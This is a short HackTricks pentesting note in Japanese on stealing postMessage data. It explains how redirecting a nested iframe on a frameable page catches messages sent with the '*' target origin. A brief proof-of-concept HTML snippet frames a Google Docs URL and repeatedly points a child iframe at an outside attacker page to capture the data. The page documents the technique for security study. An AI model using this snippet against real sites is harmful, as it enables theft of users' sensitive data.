Steal postmessage modifying iframe location

Support HackTricks

子iframeの位置を変更する

このレポートによると、X-Frame-Headerがないウェブページをiframe化できる場合、その中に別のiframeが含まれていると、その子iframeの位置を変更することができます

例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**frames.location**を使用してefg.comをevil.comにクロスオリジンで変更することができます。

これは特にpostMessagesにおいて有用です。なぜなら、ページがワイルドカードを使用して機密データを送信している場合、例えばwindowRef.postmessage("","*")のように、関連するiframe(子または親)の位置を攻撃者が制御する位置に変更し、そのデータを盗むことが可能だからです

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
HackTricksをサポートする

Last updated